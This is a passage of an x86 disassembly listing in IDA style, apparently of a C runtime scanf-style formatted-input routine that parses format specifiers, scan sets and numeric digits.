		and	eax, 4


loc_420468:				; CODE XREF: sub_420375+E2j
		test	eax, eax
		jz	short loc_42047E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_42047E:				; CODE XREF: sub_420375+F5j
		cmp	ebx, 4Eh
		jg	short loc_4204C1
		jz	short loc_4204E3
		cmp	ebx, 2Ah
		jz	short loc_4204BC
		cmp	ebx, 46h
		jz	short loc_4204E3
		cmp	ebx, 49h
		jz	short loc_42049E
		cmp	ebx, 4Ch
		jnz	short loc_4204D0
		inc	[ebp+var_D]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_42049E:				; CODE XREF: sub_420375+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_4204D0
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_4204D0
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204BC:				; CODE XREF: sub_420375+113j
		inc	[ebp+var_E]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204C1:				; CODE XREF: sub_420375+10Cj
		cmp	ebx, 68h
		jz	short loc_4204DD
		cmp	ebx, 6Ch
		jz	short loc_4204D5
		cmp	ebx, 77h
		jz	short loc_4204D8


loc_4204D0:				; CODE XREF: sub_420375+122j
					; sub_420375+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204D5:				; CODE XREF: sub_420375+154j
		inc	[ebp+var_D]


loc_4204D8:				; CODE XREF: sub_420375+159j
		inc	[ebp+var_5]
		jmp	short loc_4204E3
; ---------------------------------------------------------------------------


loc_4204DD:				; CODE XREF: sub_420375+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_4204E3:				; CODE XREF: sub_420375+107j
					; sub_420375+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_42043C
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420508
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420508:				; CODE XREF: sub_420375+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420526
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420522
		cmp	al, 43h
		jz	short loc_420522
		or	[ebp+var_5], 0FFh
		jmp	short loc_420526
; ---------------------------------------------------------------------------


loc_420522:				; CODE XREF: sub_420375+1A1j
					; sub_420375+1A5j
		mov	[ebp+var_5], 1


loc_420526:				; CODE XREF: sub_420375+19Bj
					; sub_420375+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42055F
		cmp	esi, 63h
		jz	short loc_420550
		cmp	esi, 7Bh
		jz	short loc_420550
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420E02
		pop	ecx
		jmp	short loc_42055B
; ---------------------------------------------------------------------------


loc_420550:				; CODE XREF: sub_420375+1C5j
					; sub_420375+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1


loc_42055B:				; CODE XREF: sub_420375+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42055F:				; CODE XREF: sub_420375+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42056F
		cmp	[ebp+var_C], eax
		jz	loc_420D4B


loc_42056F:				; CODE XREF: sub_420375+1EFj
		cmp	esi, 6Fh
		jg	loc_4207D6
		jz	loc_420A88
		cmp	esi, 63h
		jz	loc_4207B3
		cmp	esi, 64h
		jz	loc_420A88
		jle	loc_420800
		cmp	esi, 67h
		jle	short loc_4205D3
		cmp	esi, 69h
		jz	short loc_4205BB
		cmp	esi, 6Eh
		jnz	loc_420800
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420CB6
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_4205BB:				; CODE XREF: sub_420375+229j
		push	64h
		pop	esi


loc_4205BE:				; CODE XREF: sub_420375+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_420848
		mov	[ebp+var_17], 1
		jmp	loc_42084D
; ---------------------------------------------------------------------------


loc_4205D3:				; CODE XREF: sub_420375+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_4205EF
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_4205F4
; ---------------------------------------------------------------------------


loc_4205EF:				; CODE XREF: sub_420375+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_42060B


loc_4205F4:				; CODE XREF: sub_420375+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42060E
; ---------------------------------------------------------------------------


loc_42060B:				; CODE XREF: sub_420375+27Dj
		mov	edi, [ebp+arg_0]


loc_42060E:				; CODE XREF: sub_420375+294j
		cmp	[ebp+var_20], 0
		jz	short loc_42061D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_420624


loc_42061D:				; CODE XREF: sub_420375+29Dj
		mov	[ebp+var_C], 15Dh


loc_420624:				; CODE XREF: sub_420375+2A6j
					; sub_420375+2F2j
		cmp	ds:dword_44276C, 1
		jle	short loc_420639
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420644
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420375+2B6j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420644:				; CODE XREF: sub_420375+2C2j
		test	eax, eax
		jz	short loc_420669
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420669
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420624
; ---------------------------------------------------------------------------


loc_420669:				; CODE XREF: sub_420375+2D1j
					; sub_420375+2DBj
		cmp	ds:byte_442770,	bl
		jnz	short loc_4206D7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4206D7
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		mov	al, ds:byte_442770
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420692:				; CODE XREF: sub_420375+360j
		cmp	ds:dword_44276C, 1
		jle	short loc_4206A7
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4206B2
; ---------------------------------------------------------------------------


loc_4206A7:				; CODE XREF: sub_420375+324j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4206B2:				; CODE XREF: sub_420375+330j
		test	eax, eax
		jz	short loc_4206D7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4206D7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420692
; ---------------------------------------------------------------------------


loc_4206D7:				; CODE XREF: sub_420375+2FAj
					; sub_420375+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42076F
		cmp	ebx, 65h
		jz	short loc_4206EF
		cmp	ebx, 45h
		jnz	loc_42076F


loc_4206EF:				; CODE XREF: sub_420375+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42076F
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_420716
		mov	[esi], al
		inc	esi
		jmp	short loc_42071B
; ---------------------------------------------------------------------------


loc_420716:				; CODE XREF: sub_420375+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420739


loc_42071B:				; CODE XREF: sub_420375+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_42072A
		and	[ebp+var_C], eax
		jmp	short loc_420739
; ---------------------------------------------------------------------------


loc_42072A:				; CODE XREF: sub_420375+3AEj
					; sub_420375+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420739:				; CODE XREF: sub_420375+3A4j
					; sub_420375+3B3j
		cmp	ds:dword_44276C, 1
		jle	short loc_42074E
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420759
; ---------------------------------------------------------------------------


loc_42074E:				; CODE XREF: sub_420375+3CBj
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420759:				; CODE XREF: sub_420375+3D7j
		test	eax, eax
		jz	short loc_42076F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42076F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_42072A
; ---------------------------------------------------------------------------


loc_42076F:				; CODE XREF: sub_420375+366j
					; sub_420375+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420DEB
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_442B10
		add	esp, 0Ch
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_4207B3:				; CODE XREF: sub_420375+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4207C2
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4207C2:				; CODE XREF: sub_420375+441j
		cmp	[ebp+var_5], 0
		jle	short loc_4207CC
		mov	[ebp+var_16], 1


loc_4207CC:				; CODE XREF: sub_420375+451j
		mov	edi, offset dword_4429E8
		jmp	loc_4208E1
; ---------------------------------------------------------------------------


loc_4207D6:				; CODE XREF: sub_420375+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420A84
		sub	eax, 3
		jz	loc_4208D2
		dec	eax
		dec	eax
		jz	loc_420A88
		sub	eax, 3
		jz	loc_4205BE
		sub	eax, 3
		jz	short loc_420824


loc_420800:				; CODE XREF: sub_420375+21Bj
					; sub_420375+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420D4B
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420824:				; CODE XREF: sub_420375+489j
		cmp	[ebp+var_5], 0
		jle	short loc_42082E
		mov	[ebp+var_16], 1


loc_42082E:				; CODE XREF: sub_420375+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_4208E5
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_4208E1
; ---------------------------------------------------------------------------


loc_420848:				; CODE XREF: sub_420375+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42086F


loc_42084D:				; CODE XREF: sub_420375+259j
		dec	[ebp+var_C]
		jnz	short loc_42085E
		cmp	[ebp+var_20], 0
		jz	short loc_42085E
		mov	[ebp+var_F], 1
		jmp	short loc_42086F
; ---------------------------------------------------------------------------


loc_42085E:				; CODE XREF: sub_420375+4DBj
					; sub_420375+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42086F:				; CODE XREF: sub_420375+4D6j
					; sub_420375+4E7j
		cmp	ebx, 30h
		jnz	loc_420ABD
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4208BD
		cmp	bl, 58h
		jz	short loc_4208BD
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4208A7
		push	6Fh


loc_4208A1:				; CODE XREF: sub_420375+55Bj
		pop	esi
		jmp	loc_420ABD
; ---------------------------------------------------------------------------


loc_4208A7:				; CODE XREF: sub_420375+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420ABA
; ---------------------------------------------------------------------------


loc_4208BD:				; CODE XREF: sub_420375+517j
					; sub_420375+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4208A1
; ---------------------------------------------------------------------------


loc_4208D2:				; CODE XREF: sub_420375+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_4208DC
		mov	[ebp+var_16], 1


loc_4208DC:				; CODE XREF: sub_420375+561j
		mov	edi, offset dword_4429E0


loc_4208E1:				; CODE XREF: sub_420375+45Cj
					; sub_420375+4CEj
		or	[ebp+var_18], 0FFh


loc_4208E5:				; CODE XREF: sub_420375+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420909
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420909
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420909:				; CODE XREF: sub_420375+584j
					; sub_420375+589j
		mov	dl, [ebp+var_35]


loc_42090C:				; CODE XREF: sub_420375+592j
					; sub_420375+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420971
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420958
		test	dl, dl
		jz	short loc_420958
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420958
		inc	edi
		cmp	dl, cl
		jnb	short loc_42092B
		mov	al, cl
		jmp	short loc_42092F
; ---------------------------------------------------------------------------


loc_42092B:				; CODE XREF: sub_420375+5B0j
		mov	al, dl
		mov	dl, cl


loc_42092F:				; CODE XREF: sub_420375+5B4j
		cmp	dl, al
		ja	short loc_420954
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_42093C:				; CODE XREF: sub_420375+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_42093C


loc_420954:				; CODE XREF: sub_420375+5BCj
		xor	dl, dl
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420958:				; CODE XREF: sub_420375+5A0j
					; sub_420375+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_42090C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420375+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420D7B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420983
		mov	[ebp+arg_4], edi


loc_420983:				; CODE XREF: sub_420375+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_42099A:				; CODE XREF: sub_420375+6BCj
					; sub_420375+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4209AE
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420A4A


loc_4209AE:				; CODE XREF: sub_420375+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420A3E
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420A3E
		cmp	[ebp+var_E], 0
		jnz	short loc_420A36
		cmp	[ebp+var_16], 0
		jz	short loc_420A2B
		mov	ecx, ds:off_442560
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420A0A
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		pop	ecx
		mov	[ebp+var_37], al


loc_420A0A:				; CODE XREF: sub_420375+686j
		push	ds:dword_44276C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423D26
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420A2E
; ---------------------------------------------------------------------------


loc_420A2B:				; CODE XREF: sub_420375+673j
		mov	[esi], al
		inc	esi


loc_420A2E:				; CODE XREF: sub_420375+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_42099A
; ---------------------------------------------------------------------------


loc_420A36:				; CODE XREF: sub_420375+66Dj
		inc	[ebp+var_30]
		jmp	loc_42099A
; ---------------------------------------------------------------------------


loc_420A3E:				; CODE XREF: sub_420375+649j
					; sub_420375+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420A4A:				; CODE XREF: sub_420375+633j
		cmp	[ebp+var_30], esi
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	loc_420CDC
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420CDC
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420A7C
		and	word ptr [eax],	0
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420A7C:				; CODE XREF: sub_420375+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420CDC
; ---------------------------------------------------------------------------


loc_420A84:				; CODE XREF: sub_420375+466j
		mov	[ebp+var_D], 1


loc_420A88:				; CODE XREF: sub_420375+203j
					; sub_420375+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420A96
		mov	[ebp+var_17], 1
		jmp	short loc_420A9B
; ---------------------------------------------------------------------------


loc_420A96:				; CODE XREF: sub_420375+719j
		cmp	ebx, 2Bh
		jnz	short loc_420ABD


loc_420A9B:				; CODE XREF: sub_420375+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420AAC
		cmp	[ebp+var_20], 0
		jz	short loc_420AAC
		mov	[ebp+var_F], 1
		jmp	short loc_420ABD
; ---------------------------------------------------------------------------


loc_420AAC:				; CODE XREF: sub_420375+729j
					; sub_420375+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		pop	ecx
		mov	ebx, eax


loc_420ABA:				; CODE XREF: sub_420375+543j
		mov	[ebp+var_14], ebx


loc_420ABD:				; CODE XREF: sub_420375+4FDj
					; sub_420375+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420BD6
		cmp	[ebp+var_F], 0
		jnz	loc_420BB4


loc_420AD1:				; CODE XREF: sub_420375+82Cj
		cmp	esi, 78h
		jnz	short loc_420B25
		cmp	ds:dword_44276C, 1
		jle	short loc_420AEE
		push	80h
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420AFB
; ---------------------------------------------------------------------------


loc_420AEE:				; CODE XREF: sub_420375+768j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420AFB:				; CODE XREF: sub_420375+777j
		test	eax, eax
		jz	loc_420BA6
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423DF0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420D9A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420B78
; ---------------------------------------------------------------------------


loc_420B25:				; CODE XREF: sub_420375+75Fj
		cmp	ds:dword_44276C, 1
		jle	short loc_420B3A
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420B45
; ---------------------------------------------------------------------------


loc_420B3A:				; CODE XREF: sub_420375+7B7j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420B45:				; CODE XREF: sub_420375+7C3j
		test	eax, eax
		jz	short loc_420BA6
		cmp	esi, 6Fh
		jnz	short loc_420B63
		cmp	ebx, 38h
		jge	short loc_420BA6
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423DF0
		jmp	short loc_420B72
; ---------------------------------------------------------------------------


loc_420B63:				; CODE XREF: sub_420375+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D950


loc_420B72:				; CODE XREF: sub_420375+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420B78:				; CODE XREF: sub_420375+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420B90
		dec	[ebp+var_C]
		jz	short loc_420BB4


loc_420B90:				; CODE XREF: sub_420375+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420AD1
; ---------------------------------------------------------------------------


loc_420BA6:				; CODE XREF: sub_420375+788j
					; sub_420375+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420BB4:				; CODE XREF: sub_420375+756j
					; sub_420375+819j
		cmp	[ebp+var_17], 0
		jz	loc_420C9A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420C9A
; ---------------------------------------------------------------------------


loc_420BD6:				; CODE XREF: sub_420375+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420C92


loc_420BE0:				; CODE XREF: sub_420375+90Aj
		cmp	esi, 78h
		jz	short loc_420C24
		cmp	esi, 70h
		jz	short loc_420C24
		cmp	ds:dword_44276C, 1
		jle	short loc_420BFF
		push	4
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420C0A
; ---------------------------------------------------------------------------


loc_420BFF:				; CODE XREF: sub_420375+87Cj
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420C0A:				; CODE XREF: sub_420375+888j
		test	eax, eax
		jz	short loc_420C84
		cmp	esi, 6Fh
		jnz	short loc_420C1D
		cmp	ebx, 38h
		jge	short loc_420C84
		shl	edi, 3
		jmp	short loc_420C5C
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_420375+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420C5C
; ---------------------------------------------------------------------------


loc_420C24:				; CODE XREF: sub_420375+86Ej
					; sub_420375+873j
		cmp	ds:dword_44276C, 1
		jle	short loc_420C3C
		push	80h
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_420C49
; ---------------------------------------------------------------------------


loc_420C3C:				; CODE XREF: sub_420375+8B6j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C49:				; CODE XREF: sub_420375+8C5j
		test	eax, eax
		jz	short loc_420C84
		push	ebx
		shl	edi, 4
		call	sub_420D9A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420C5C:				; CODE XREF: sub_420375+8A6j
					; sub_420375+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420C6E
		dec	[ebp+var_C]
		jz	short loc_420C92


loc_420C6E:				; CODE XREF: sub_420375+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420BE0
; ---------------------------------------------------------------------------


loc_420C84:				; CODE XREF: sub_420375+897j
					; sub_420375+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420DEB
		pop	ecx
		pop	ecx


loc_420C92:				; CODE XREF: sub_420375+865j
					; sub_420375+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420C9A
		neg	edi


loc_420C9A:				; CODE XREF: sub_420375+843j
					; sub_420375+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420CA3
		and	[ebp+var_1C], 0


loc_420CA3:				; CODE XREF: sub_420375+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420D7B
		cmp	[ebp+var_E], 0
		jnz	short loc_420CDC
		inc	[ebp+var_34]


loc_420CB6:				; CODE XREF: sub_420375+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420CCC
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420CDC
; ---------------------------------------------------------------------------


loc_420CCC:				; CODE XREF: sub_420375+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420CD9
		mov	[eax], edi
		jmp	short loc_420CDC
; ---------------------------------------------------------------------------


loc_420CD9:				; CODE XREF: sub_420375+95Ej
		mov	[eax], di


loc_420CDC:				; CODE XREF: sub_420375+241j
					; sub_420375+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420D29
; ---------------------------------------------------------------------------


loc_420CE7:				; CODE XREF: sub_420375+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420D56
		mov	ecx, ds:off_442560
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420D29
		inc	[ebp+var_4]
		push	edi
		call	sub_420DD1
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420D64
		dec	[ebp+var_4]


loc_420D29:				; CODE XREF: sub_420375+970j
					; sub_420375+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420D3F
		cmp	byte ptr [esi],	25h
		jnz	short loc_420D81
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420D81
		mov	esi, eax


loc_420D3F:				; CODE XREF: sub_420375+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42039F
		jmp	short loc_420D7B
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420375+1F4j
					; sub_420375+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420D5B
; ---------------------------------------------------------------------------


loc_420D56:				; CODE XREF: sub_420375+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420D5B:				; CODE XREF: sub_420375+9DFj
		call	sub_420DEB
		pop	ecx
		pop	ecx
		jmp	short loc_420D7B
; ---------------------------------------------------------------------------


loc_420D64:				; CODE XREF: sub_420375+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420DEB
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420DEB
		add	esp, 10h


loc_420D7B:				; CODE XREF: sub_420375+1Fj
					; sub_420375+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420D92


loc_420D81:				; CODE XREF: sub_420375+9BDj
					; sub_420375+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420D95
		cmp	[ebp+var_15], al
		jnz	short loc_420D95
		or	eax, 0FFFFFFFFh
		jmp	short loc_420D95
; ---------------------------------------------------------------------------


loc_420D92:				; CODE XREF: sub_420375+A0Aj
